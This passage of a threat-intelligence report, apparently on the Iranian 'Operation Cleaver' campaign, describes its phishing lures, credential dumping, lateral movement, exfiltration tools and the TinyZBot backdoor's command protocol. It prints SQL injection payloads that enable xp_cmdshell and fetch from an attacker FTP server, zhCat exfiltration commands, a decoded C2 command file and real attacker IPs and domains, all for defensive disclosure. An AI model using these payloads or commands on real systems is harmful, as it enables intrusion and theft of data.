TestForInstallingService\\TestForInstallingService\\obj\\Release\\ TestForInstallingService.pdb OPERATION CLEAVER 30 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TEAMS Of course many associated Iranian hacker teams have been identified in public and private security circles. Some of the teams publicly known today include Iranian Cyber Army, Ashiyane, Islamic Cyber Resistance Group, Izz ad-Din al-Qassam Cyber Fighters, Parastoo, Shabgard, Iran Black Hats and many others9. However, even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army (botnets), Ashiyane (SQL injection) and Syrian Electronic Army (phishing and RATs), we believe this is largely the work of a new team. Some connections to Ashiyane were discovered in our investigations including a reference to hussein1363, who had prior ties to the hacker group. Additional connections between team members and individuals exist but are predominantly speculative and have only been shared with law enforcement. Ultimately we believe the Cleaver team is a mix of existing team members and new recruits pulled from the universities in Iran. #OPCLEAVER 31 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 TTP COVER HERE TACTICS, TECHNIQUES #OPCLEAVER & PROCEDURES 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 OPERATION CLEAVER 32 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TACTICS, TECHNIQUES & PROCEDURES The Cleaver campaign used a variety of methods in multiple stages of attacks. In this section we\xe2\x80\x99ll cover the commonly observed methods during different stages of the attack. INITIAL COMPROMISE The initial compromise gets the attackers their first foothold into the target network. Once the ability to execute arbitrary code has been established, an attacker\xe2\x80\x99s job becomes quite a bit easier. Since the vector of initial compromise is usually determined by what is vulnerable on the target, we\xe2\x80\x99ll cover just a few of the techniques we\xe2\x80\x99ve seen Operation Cleaver use to initiate the compromise. SQL Injection SQL injection is a very common and simple attack method. It is made possible by a lack of input sanitization by the vulnerable application before supplying that input into a SQL database query. SQL injection payloads used by this organization have been double encoded. Double encoding SQL injection payloads allows for bypassing of various anti-exploitation filters, such as those supplied by Web Application Firewalls (WAFs). The attackers would enable xp_cmdshell: http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ b1=%20show advanced options;declare%20@b2%20varchar(8000);set%20@b2=%20xp_ cmdshell;%20EXEC%20master.dbo.sp_configure%20@b1,%201;RECONFIGURE;EXEC%20master.dbo. sp_configure%20@b2,%201;RECONFIGURE;--%20 Then connect outbound via anonymous FTP: http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ b1=%20ftp -A 108.175.152.230;%20exec%20master..xp_cmdshell%20@b1--%20 Spear-Phishing Campaign Using messaging methods such as email, attackers can social engineer users into downloading and executing software, which quietly installs malware alongside of the desired program. Operation Cleaver has employed this technique numerous times across different organizations. #OPCLEAVER 33 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 EasyResumeCreatorPro.com The domain EasyResumeCreatorPro.com was registered and a website setup which was a direct copy of a legitimate website at winresume.com. This is how the original site looked: That\xe2\x80\x99s not all they copied. In order to infect users, they combined the original Easy Resume Creator Pro product with malware by using a binder they developed internally named Binder_1. A binder is an application, which combines two executables (desired software and malware) into a single executable. The resulting executable masquerades as the desired software. The purpose is deception, to make the binder indistinguishable from the desired application. When executed, both applications are written to a temporary directory and executed. This way it appears that the desired application was executed, but the malware was also executed silently. Figure 14: The original Easy R\xc3\xa9sum\xc3\xa9 Creator Pro website on winresume.com is legitimate. Figure 15: The fraudulent website, easyresumecreatorpro.com, is a fraudulent copy of the Easy Resume Creator Pro website to lure job candidates to download and install their TinyZBot agent. OPERATION CLEAVER 34 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Teledyne R\xc3\xa9sum\xc3\xa9 Submitter This attack evolved to appear more legitimate. The attackers made the victims feel like they had a pending job opportunity at the industrial conglomerate Teledyne. In order to take advantage of this job opportunity, the victim needed to use the fake r\xc3\xa9sum\xc3\xa9 submission application supplied by the malicious recruiter. Multiple domains were registered in order to make the download sites seem more realistic. These domains included other companies as they tried to hit a wider audience. \xe2\x80\xa2 Teledyne-Jobs.com \xe2\x80\xa2 Doosan-Job.com \xe2\x80\xa2 NorthropGrumman.net At this point, the r\xc3\xa9sum\xc3\xa9 submission application checks the Internet connection. If it is unable to connect to the Internet, it will display a window to input proxy information. When this information is entered, the results are cached in a location the dropped malware can access. After an Internet connection is ensured, the malware (TinyZbot) is dropped and executed. This clever scheme makes sure the malware can connect to the command and control server, and increases the chances that domain credentials are cached on the now infected machine. Shortly after, the main application is launched. Figure 16: When the r\xc3\xa9sum\xc3\xa9 submitting application is executed, a splash screen is displayed. Figure 17: Unable to connect to the Internet, the tool prompts the user for proxy configuration information. Figure 18: Final r\xc3\xa9sum\xc3\xa9 submission form displays to the user while the malware runs freely in the background. #OPCLEAVER 35 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Teledyne R\xc3\xa9sum\xc3\xa9 Submitter (cont.) The first r\xc3\xa9sum\xc3\xa9 submission form requests contact information. This form, like the rest of the submission forms, only stores the submitted information while the application is running. As the infected user is going through and filling out all this information, the malware is running in the background, logging their keystrokes, retrieving their stored passwords, etc. Once all the forms are filled out, the user goes to the submission form. When the victim hits submit, the r\xc3\xa9sum\xc3\xa9 submitter does a GET request to microsoft.com in order to make it seem like it is submitting something, then claims success. This method is particularly effective not only because of its level of deception, but even if the victim suspects that they are infected with malware, they are not as likely to speak up about it, as they would need to explain why they were submitting a job application for another company. Figure 19: GET request to www.microsoft.com fakes the r\xc3\xa9sum\xc3\xa9 submission. OPERATION CLEAVER 36 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 PRIVILEGE ESCALATION & PIVOTING Privilege escalation is a category of techniques that describe the process of going from a less privileged user on a compromised computer to a more privileged user. This increase in privileges allows for the attacker to gain access to privleged areas of the operating system as well as to infect other computers on the target network. This team did not utilize any novel methods of privilege escalation, but they were observed using a variety of publicly known exploits. PrivEsc is a compiled exploit, which leverages the vulnerability commonly referred to as KiTrap0D (CVE-2010-0232). The exploit allows for escalation of privileges on unpatched Windows operating systems from an unprivileged user to kernel-level privilege. This vulnerability and the corresponding exploit were discovered and developed in 2010. The plagiarized version used in Operation Cleaver was compiled in May 2013, with a slight modification to the public source code. This modification changed the author\xe2\x80\x99s details to Zhopin Exploit Team. Pivoting is the process of leveraging access from one compromised computer in order to gain access to additional systems on the target network. This can involve launching attacks from the compromised computer, or simply abusing access once it has been gained. Cached Credential Dumping A very common method of pivoting on a predominantly Windows operating system based network is to extract domain credentials which have been used on the compromised computer from a credential cache. There are a few well-known tools which are capable of doing this given sufficient privileges on the infected host. Two of these tools used by Cleaver are Mimikatz and Windows Credential Editor. zhMimikatz and MimikatzWrapper Two similar applications were developed by Operation Cleaver in order automate the execution of Mimikatz. These applications are zhMimikatz and MimikatzWrapper. These applications store multiple versions of Mimikatz in their resources. When executed, they determine which version of Mimikatz to use based on whether the computer\xe2\x80\x99s version of Windows is 32-bit or 64-bit. This technique is uncommon in malware and shows the advanced skillset of the Cleaver team. Both tools were developed in C#. #OPCLEAVER 37 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 zhMimikatz and MimikatzWrapper (cont.) In the following examples, the computer name is TheComputerName, the username of the logged in user is TheUser, and that user\xe2\x80\x99s password is ThePassword. At the time of execution, the system only has its own credentials available and no cached network credentials. zhMimikatz zhMimikatz executes the correct version of Mimikatz for the current system, and parses the results for any cached credentials. Figure 20: zhMimikatz OPERATION CLEAVER 38 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 MimikatzWrapper Output from MimikatzWrapper is essentially the same as zhMimikatz, despite being a different Visual Studio project. The only external difference is that MimikatzWrapper also logs these results to res.txt in the executing directory. This can make it useful for tools like the PVZ tool chain and Csext to execute with logged results: Figure 22: The MimikatzWrapper dumps credentials out to a file. Figure 21: The MimikatzWrapper. #OPCLEAVER 39 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 PsExec Spreading Once an attacker has credentials extracted from the cache, whether in hash form or in plaintext form, PsExec can be used to run commands on any other computer which accepts those domain credentials. If this technique is combined with cached credential dumping, it can be used to jump from computer to computer on a compromised network. NetC (Net Crawler) Net Crawler utilizes a cached credential dumping technique along with PsExec in order to worm throughout a network, collecting any and all credentials that it can extract from credential caches. It has the ability to do this with both Windows Credential Editor and Mimikatz. It starts by first extracting cached credentials from the infected computer\xe2\x80\x99s cache. Once this is complete, it then continues to scan a set of configured IP addresses on the local subnet to determine which IP addresses have SMB related ports open. Then an iterative methodology is applied to brute forcing each SMB enabled target with each credential that was extracted from the cache. When a positive result has been achieved, it will create a copy of itself with a modified configuration stored as a PE resource, then send and execute the copy utilizing PsExec. This copy repeats the behavior of the original, but with already discovered credentials as well as newly discovered ones on the newly infected host. Any credentials found are reported back to the original infection. OPERATION CLEAVER 40 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 NetC (Net Crawler) cont. The following is a sample of some of the recovered results of Net Crawler executing on a live network: A more in depth analysis of Net Crawler, as part of the A Study in Bots series, will be available on Cylance\xe2\x80\x99s blog. Figure 23: The real output of a successfully run NetC effort at a victim organization. #OPCLEAVER 41 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 MS08-067 Exploit MS08-067 is a vulnerability in Microsoft Windows made popular by the Conficker worm which can be exploited by a specially crafted packet to the operating system\xe2\x80\x99s RPC network interface. This vulnerability has been patched since October 2008, but many networks have failed to update their systems even to this day. Operation Cleaver used a plagiarized version of a publicly available exploit for this vulnerability developed in Python. Someone in the Cleaver team (presumed to be Nesha) modified the exploit to read \xe2\x80\x9cBy Nesha\xe2\x80\x9d. Jasus Jasus is an ARP cache poisoner developed by the Operation Cleaver team. It makes use of WinPcap and is developed in C. Compared to some other publicly available ARP cache poisoning utilities, Jasus is poorly developed and without many useful features. The primary positive attribute of Jasus is its poor detection ratio by the antivirus industry. Cain & Abel Cain & Abel is a publicly available toolkit, which covers a wide range of functionality that assists attackers once they have compromised a node on a network. It has the ability to dump stored and cached credentials, and conduct attacks like ARP cache poisoning in order to capture credentials being transmitted on the network. It also has a remotely installable trojan named Abel, which enables some of its functionality on a remote target. We observed the Operation Cleaver team using Cain & Abel for extracting credentials from caches and the network when they are confident that there is little to no antivirus protection on the infected target. EXFILTRATION Exfiltration is the process of moving information to an external site. In this context, it is the process of stealing information without being detected. Operation Cleaver has a strong focus on stealing confidential/privileged information, and they have utilized a few methods in order to facilitate this objective. OPERATION CLEAVER 42 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Anonymous FTP Servers Cleaver Operations observed in 2013 mainly utilized FTP servers with anonymous access enabled in order to pilfer large quantities of information. This allowed them to use existing command line utilities available on their targets in order to upload information. This is a versatile technique as it does not require any additional software which could be detected. These FTP servers were also observed during the infection process, as infected computers were often instructed to download additional files from these FTP servers, including backdoors and pivoting tools. The following IP addresses hosted FTP servers that were used in the infection of targets or in the exfiltration of information. \xe2\x80\xa2 108.175.152.230 \xe2\x80\x93 Santa Rosa, CA, USA \xe2\x80\xa2 108.175.153.158 \xe2\x80\x93 Santa Rosa, CA, USA \xe2\x80\xa2 184.82.181.48 \xe2\x80\x93 Pilot Mountain, North Carolina, USA \xe2\x80\xa2 203.150.224.249 - Thailand \xe2\x80\xa2 64.120.208.74 - Pilot Mountain, North Carolina, USA \xe2\x80\xa2 64.120.208.75 - Pilot Mountain, North Carolina, USA \xe2\x80\xa2 64.120.208.76 - Pilot Mountain, North Carolina, USA \xe2\x80\xa2 64.120.208.78 - Pilot Mountain, North Carolina, USA \xe2\x80\xa2 66.96.252.198 - Pilot Mountain, North Carolina, USA NetCat NetCat is a network tool which has many valid purposes but can also be used for malicious purposes. Its main functionality allows for a client and server communication channel, allowing for information to be transported over the network simply. NetCat has an option when being compiled to enable or disable the ability for NetCat to execute a command after the connection is established. This feature can be abused to enable a reverse connecting shell, which can be used to remotely control a target. NetCat\xe2\x80\x99s network communications are in plaintext, and could be viewed by an egress filter looking to block the exfiltration of sensitive information. The Operation Cleaver team was observed attempting to use NetCat to exfiltrate information as well as use it as a reverse connecting shell. The use of NetCat was later replaced with zhCat. #OPCLEAVER 43 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 zhCat zhCat is a tool developed by the Operation Cleaver team which operates similarly to NetCat. Its main purpose is to create a channel that is capable of transporting information over the network. The changes made in zhCat allow for this information to be transferred with inline obfuscation and/ or encryption. This makes it more difficult to detect that privileged information is being exfiltrated. The command line help (of a particular version) shows the following options: Multiple obfuscation/encryption methods are available. The \xe2\x80\x93h argument enables HTTP mode. This makes the traffic between zhCat instances look like benign HTTP traffic. For instance, if the attackers set up a zhCat instance listening on port 1000 on 192.168.116.128 in HTTP mode, the client instance of zhCat would use the following command: zhcat.exe \xe2\x80\x93h \xe2\x80\x93p 1000 \xe2\x80\x93i 192.168.116.128 The server instance would use the following command: zhcat.exe \xe2\x80\x93l \xe2\x80\x93h \xe2\x80\x93p 1000 When we run both of these, we can send information just by typing it into the terminal of the running application. Information can be supplied by standard input. OPERATION CLEAVER 44 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 zhCat (cont.) If we observe the network communications during this transfer, we can see the following HTTP POST request. Note: research into ebizmba.com did not turn up any additional evidence of being involved with the development of zhCat. On the server side, we can see our message has been received: If stricter egress filtering is enabled, the attackers can use zhCat to also XOR encrypt the traffic with a shared key. These keys are stored inside zhCat. The following is the key used for XOR encryption: Sorry! The handle to file %s is not a valid handle any more.\\nSorry! The handle to file %s is not a valid handle any more. The \\n represents hex character 0x0A, which is a new line character. An attacker could set up a server instance of zhCat with the following command in order to enable both HTTP and XOR obfuscation: zhcat.exe \xe2\x80\x93h \xe2\x80\x93p 1000 \xe2\x80\x93l \xe2\x80\x93x The client instance could then be invoked with the following command: zhcat.exe \xe2\x80\x93h \xe2\x80\x93p 1000 \xe2\x80\x93i 192.168.116.128 \xe2\x80\x93x Once again, information can be supplied via standard input. #OPCLEAVER 45 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 zhCat (cont.) Upon inspecting the network traffic again, we see the following HTTP POST request. On the server side, we can see this information being received: zhCat has a variety of other features such as port mirroring as well as traffic redirecting. PLink PLink is one of the many utilities provided in the PuTTY (SSH) suite, which has many benign purposes. It is capable of communicating over various protocols, the most notable being SSH. The SSH protocol is a heavily utilized encrypted protocol, most commonly used for remote administration of UNIX based operating systems. PLink is designed to implement some of the SSH functions related to forwarding traffic as well as other functionality. Operation Cleaver uses PLink to forward local RDP ports to remote SSH servers. This allows them to easily connect to RDP servers inside the networks of their victims. These RDP connections can be used to exfiltrate information visually, as well as to remotely control the computers hosting the RDP servers. OPERATION CLEAVER 46 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 SMTP Early Cleaver operations abused SMTP in order to exfiltrate information. The sending is performed by internally developed malware samples such as TinyZBot and Csext in order to exfiltrate information about the infected computer, as well as requested files and keystroke logging information. Messages were sent using an open SMTP relay at BeyondSys.com with the sender email address dyanachear(at)beyondsys.com. This allowed the attackers to use infrastructure that was not theirs to exfiltrate information. The known recipient addresses of this information were testmail_00001(at)yahoo.com and TerafficAnalyzer(at)yahoo. com. In order to deceive anyone reading these emails, they made them appear to be a spam message that most would not think twice about. The subject used is the following: No Prescription required. Viagra Dosages: 25, 100, 150mg. Fast worldwide delivery. The message used is the following: Buy Viagra150mg x 50 tablets for only $124.99! No Prescription required. Viagra dosages: 150, 100, 25mg. Fast Worldwide Delivery. See the attachment movie. Free bonus trip. bestviagra4u.cn The files being exfiltrated are added to the email as attachments. SOAP SOAP is a sub-protocol communicated via HTTP. In relation to Operation Cleaver, it is used as the command and control protocol for TinyZBot, which was the preferred backdoor, and underwent long-term development. HTTP communications are often used by botnets, but it is uncommon to use a sub-protocol such as SOAP. It is likely that SOAP was used because it is simple to implement in C#, and has the added benefit of blending in with other benign HTTP traffic. As part of TinyZBot\xe2\x80\x99s command and control protocol, files can be exfiltrated over SOAP to the command and control server. For more information about TinyZBot, see the Persistence section. #OPCLEAVER 47 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 PERSISTENCE Persistence is the means of maintaining access to a compromised network. There are limitless methods of persistence; the following are techniques and tools for persistence used by Cleaver. TinyZBot TinyZBot is a backdoor developed in C#. This bot is the longest developed malware we have analyzed from this organization. The earliest known version was compiled in January 2013 and we continued to see new versions being created actively. The purpose of TinyZBot is to gather information from an infected computer as well as maintain and further access into a compromised network. TinyZBot was developed with the clear intention of targeted campaigns. The name TinyZBot is assumed to be referring to this project as a less versatile version of the ZeuS botnet, although it does not exhibit the major browser injection features of ZeuS. To be clear, TinyZBot shares no code with ZeuS or its variants, and is developed in a different programming language. The majority of the code in TinyZBot was created by Cleaver. TinyZBot Features TinyZBot supports a wide array of features that continually evolved over time. For the evolution of features, see the History section. The following is a list of supported features: \xe2\x80\xa2 SMTP exfiltration \xe2\x80\xa2 Log keystrokes \xe2\x80\xa2 Monitor clipboard activity \xe2\x80\xa2 Enable a SOAP-based command and control channel \xe2\x80\xa2 Self-updating \xe2\x80\xa2 Download and execute arbitrary code \xe2\x80\xa2 Capture screenshots \xe2\x80\xa2 Extract saved passwords for Internet Explorer \xe2\x80\xa2 Install as a service \xe2\x80\xa2 Establish persistence by shortcut in startup folder \xe2\x80\xa2 Provide unique malware campaign identifiers for tracking and control purposes \xe2\x80\xa2 Deceptive execution methods \xe2\x80\xa2 Dynamic backdoor configuration \xe2\x80\xa2 FTP exfiltration \xe2\x80\xa2 Security software detection \xe2\x80\xa2 Ability to disable Avira antivirus \xe2\x80\xa2 Ability to modify PE resources \xe2\x80\xa2 Dynamic plugin structure OPERATION CLEAVER 48 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TinyZBot Command and Control Protocol The command and control mechanism for TinyZBot utilizes SOAP communicating over HTTP. Potential reasons for using SOAP are: 1. SOAP-based communications are simple to implement in C#. 2. SOAP traffic could easily be considered benign traffic, as it is not commonly seen in malware. As part of SOAP communications, a URI is specified. This is internal to the sub-protocol, and does not necessarily reflect the URI of the host running the SOAP server (ASMX file). In the case of TinyZBot, and many examples for developing SOAP applications, this URI is tempuri.org. Since the first version of the SOAP-based command and control protocol was implemented, TinyZBot used what is referred to as a \xe2\x80\x9cdynamic password\xe2\x80\x9d. The result of this is a cryptographically hashed version of the server time (which must be obtained through a SOAP query), the TinyZBot\xe2\x80\x99s GUID, and the TinyZBot\xe2\x80\x99s AppUsageID (campaign identifier). For the command and control examples below, red text represents TCP data sent from the TinyZBot infection while blue text represents TCP data sent from the command and control server. The server time lookup query invokes the SOAP command GetServerTime. POST /checkupdate.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: \xe2\x80\x9chttp://tempuri(dot)org/GetServerTime\xe2\x80\x9d Host: microsoftactiveservices(dot)com Content-Length: 291 Expect: 100-continue Connection: Keep-Alive HTTP/1.1 100 Continue HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 392 #OPCLEAVER 49 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 TinyZBot Command and Control Protocol (cont.) 2014-10-06T13:36:47.2193601Z This is the first query done by a running TinyZBot instance, and needs to be done shortly before most other queries, in order to update the dynamic password. Commands, updates and files to drop and execute are stored as files on the SOAP server, and access is restricted by the AppUsageID as well as the bot GUID. This allows for commands to be sent to all bots for a campaign as well as individual control. The TinyZBot queries the server in order to enumerate all files currently available to it. POST /checkupdate.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: \xe2\x80\x9chttp://tempuri(dot)org/GetFileList\xe2\x80\x9d Host: microsoftactiveservices(dot)com Content-Length: 425 Expect: 100-continue HTTP/1.1 100 Continue 00cf6217-8c7e-4598- b155-65ebd949bba9XYZCOabefc81BDFF;1.0.0 HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 1474 OPERATION CLEAVER 50 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 TinyZBot Command and Control Protocol (cont.) [ALL]__b93c-49a1-140914084450__[0000000000000000000000000000 0000].tmu[ALL]__b93c-49a1-140914084612__[0000000000000000000000000000 0000].tmu[ALL]__b93c-49a1-140914084619__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084628__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084638__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084644__[00000000000000000000000000000 000].tmu[ALL]__b93c-49a1-140914084659__[000000000000000000000000000000 00].tmu[ALL]__b93c-49a1-140914084715__[0000000000000000000000000000000 0].tmu[ALL]__b93c-49a1-140914084732__[00000000000000000000000000000000 ].tmu[ALL]__b93c-49a1-140914084741__[00000000000000000000000000000000]. tmu[ALL]__b93c-49a1-140914090807__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103605__[00000000000000000000000000000000].tmu[ALL]__b93c-49a1-140915103610__[00000000000000000000000000000000].tmu In order to download the file and parse for commands to execute, the TinyZBot must request the file. The file is downloaded Base64-encoded inside of the SOAP response. POST /checkupdate.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433) Content-Type: text/xml; charset=utf-8 SOAPAction: \xe2\x80\x9chttp://tempuri(dot)org/GetFile\xe2\x80\x9d Host: microsoftactiveservices(dot)com Content-Length: 478 Expect: 100-continue HTTP/1.1 100 Continue 00cf6217-8c7e-4598-b155-65ebd949bba9XYZCOabefc81[ALL]__b93c-49a1-140914084450__ [00000000000000000000000000000000].tmu HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 06 Oct 2014 13:36:47 GMT Content-Length: 652 OzIwMTQwOTE0X18wODQ0NTANClJVTkNNRD1jbWQuZXhlLC9DIGlwY29uZmlnIC9hbGwgP j4gIltJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dCIgMj4mMQ0KV VBMT0FEPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA0KREVMR VRFPVtJTkZPTERFUl1cZDJkYjY5NmEtMzM2Ny00Njk5LWE4MTUtZGYwOTA5OGJjNTk2LnR4dA== #OPCLEAVER 51 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 TinyZBot Command and Control Protocol (cont.) The command file downloaded in this example is as follows: ;20140914__084450 RUNCMD=cmd.exe,/C ipconfig /all >> \xe2\x80\x9c[INFOLDER]\\d2db696a-3367-4699-a815-df09098bc596.txt\xe2\x80\x9d2>&1 UPLOAD=[INFOLDER]\\d2db696a-3367-4699-a815-df09098bc596.txt DELETE=[INFOLDER]\\d2db696a-3367-4699-a815-df09098bc596.txt The first line is a timestamp of the command. The TinyZBot command parser ignores it. The RUNCMD line requests that cmd.exe be executed, with the command ipconfig /all being redirected to a file in a directory designated for files to be uploaded. The UPLOAD command requests that this file is then uploaded over SOAP to the command and control server. The DELETE command then requests that the file be deleted from the infected system. The following is a list of supported commands that TinyZBot responds to: COPY REPLACE DELETE UPLOAD FUPLOAD CLEARFILES CLEAROUPUTFOLDER SAVECONFIG SAVETOCFGFILE RESTART RestartForce Commands such as GETINFO are often run on newly infected systems, as they decide whether the infection has hit the correct target. There are additional SOAP commands, but they will not be covered in detail. The following is a list of all the SOAP commands: CheckFileMD5, GetFile, GetFileList, GetServerTime, UploadFile. Deception TinyZBot is commonly installed using some form of deception. Recent versions use the resume- based methods reported in the Initial Compromise sections. An additional method was used for earlier versions. When early versions of TinyZBot were executed, they opened an image stored in the resource section of the executable and copied the malicious TinyZBot executable to the %AppData% directory. Many of the images identified were of the popular Lebanese singer and actress Haifa Wehbe. The backdoor additionally replaced the original malicious executable with an appropriately named image file and padded the image file with null bytes in order to mirror the original file size. KILL DEEPKILL EXIT EXITFORCE RUNAVDETECTOR RUNWAIT RUNCMD UCMD GETINFO GETSCREENSHOTHQ GETSCREENSHOT CREATEUPLOADLIST FORCERESTART FORCEEXIT UNLOADMODULE RELOADMODULE LOADMODULE UNLOADM RELOADM REMOVEM UNLOADALL RELOADALL ADDSEC REMSEC ADDKV CHGKV REMKV ADDK REMOVEK OPERATION CLEAVER 52 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 History The earliest known version on TinyZBot was compiled on January 27, 2013. This early version had very little functionality. It was limited to logging keystroke data, sending emails, and creating a link in the user\xe2\x80\x99s startup folder for persistence. Its method of exfiltrating the logged keystrokes relied upon a hardcoded email address stored in the binary. The sender email address was dyanachear(at)beyondsys.com and emails were destined for testmail_00001(at) yahoo.com. The message was intended to look like common Viagra spam from China, but would be sent with the keystroke logging data as attachments, as well as system information. The initial version did not provide any means of receiving commands and was obfuscated with SmartAssembly. The following iteration compiled on March 12, 2013, only contained minor bug fixes. The next version was compiled on April 24, 2013. This version starts to look more like an average bot. A command and control protocol was established, using HTTP and SOAP for the protocol. The command and control server for this version was located at 173.192.144.68/ DefaultWS(dot)asmx. This new command and control protocol allowed for the addition of quite a few other features. An update mechanism was added, and could be regularly scheduled, so unassisted periodic update checks were automatically performed. The SOAP API used a dynamic password mechanism, which required the computation of a simple key in order to access certain parts of the API. The email data exfiltration method also underwent modification to be activated at a scheduled interval. There were also some changes, which looked to be bug fixes, such as limiting the number of times sending an email could fail. The next day, April 25, 2013, a new version was compiled which allowed for self-deletion. On May 14, 2013, we noticed a change which assisted in the identification of active targets. The AppUsageId (at this point named AppType) was an identifier used by this organization in order to differentiate between targets infected with TinyZBot, meaning they could effectively run multiple campaigns using the same command and control server and know which target was infected. This also allowed for separate commands to be supplied to different targets without the need for per-bot commands. At this time, the AppUsageId was total0, but later we observed names, which aligned with active targets. The exfiltration email address was also changed to TerafficAnalyzer(at)yahoo.com. On June 17, 2013, there was an addition that allowed for the loading of configuration data from the PE\xe2\x80\x99s resources. At this time, it was limited to the exfiltration email address. This version was not obfuscated with SmartAssembly #OPCLEAVER 53 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 History (cont.) We do not see a new version of TinyZBot until June 7, 2014. There are quite a few notable improvements, but nowhere near enough to indicate consistent development on the project for a year. SmartAssembly was reused again. A method was added to detect what security related software is installed. Avira antivirus was specifically targeted and disabled, due to its detection of the new keystroke logger module added in this version. This keystroke logger source is publicly available and referred to as DeadkeyLogger. A new string encryption class is added, but the code was copied and pasted from a Microsoft example. The ability to extract Internet Explorer passwords was added. Clipboard monitoring code was added, but not invoked. The emailing features were removed, but the classes which previously contained them were still present but empty. Many more options were enabled to be loaded from PE resources. The ability to add PE resources was added. Another version was compiled on June 7, 2014, with no feature difference. On June 17, 2014, we see the first instance of Binder_1, which is aptly named, as it is a binder. The legitimate application used in this version of Binder_1 was compiled on August 22, 2013, and is a self-extracting archive of desktop wallpapers, including an image from the game Mirror\xe2\x80\x99s Edge. The TinyZBot included was the version compiled on June 7, 2014. The version compiled on June 23, 2014, added functionality which allowed screenshots of the desktop to be taken. On August 2, 2014, we see another version without SmartAssembly obfuscation. A bug fix is made to the keystroke logging method, and clipboard monitoring is enabled. Three items were compiled on August 18, 2014. Two of them are TinyZBot binaries, which contain a minor key logging bug fix. The third is a new Binder_1 instance, which contains one of the TinyZBot instances compiled that day. The legitimate application included in this binder is called Easy_resume_creator and is a legitimate application named EasyR\xc3\xa9sum\xc3\xa9CreatorPro. This version targeted a major Saudi Arabian oil company. From August 23 to August 26, 2014, new versions of TinyZBot were compiled with the AppUsageIds targeting major oil and gas companies in Qatar and Kuwait, Ministries of Foreign Affairs in the Persian Gulf, and a major airline holding company in UAE. These versions of TinyZBot moved towards a more modular architecture where each component was in its own .NET assembly. This was presumably done to limit antivirus detection of each individual file as well as allow for dynamic updating of specific modules. All of these were included in their own Binder_1 instance, which also dropped Easy_resume_creator. OPERATION CLEAVER 54 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 History (cont.) There also seem to be improved software engineering practices in many locations. FTP upload support was added, with hardcoded credentials of ano:1. This FTP upload functionality points to the command and control server, and is invoked by a command in the SOAP command and control channel. These versions have the capability to install as a service. On August 25, 2014, the version compiled on August 18 was submitted to a popular virus engine website in a ZIP archive located at http://dl.doosan-job(dot)com/cv/ Easy_Resume_Creator-v2.0.zip. This indicates that TinyZBot is not only being installed while impersonating a r\xc3\xa9sum\xc3\xa9 creation suite, but is also impersonating potential employers when distributed. On September 9, 2014, a ZIP file containing TinyZBot and a configuration targeting a major US university with its AppUsageId was created. This was discovered on an anonymous FTP server in the same IP range as dl.doosan-job(dot)com along with other malware. From September 11 through September 17, 2014, some TinyZBot components were compiled, along with a new dropper. This dropper impersonated a tool to submit a 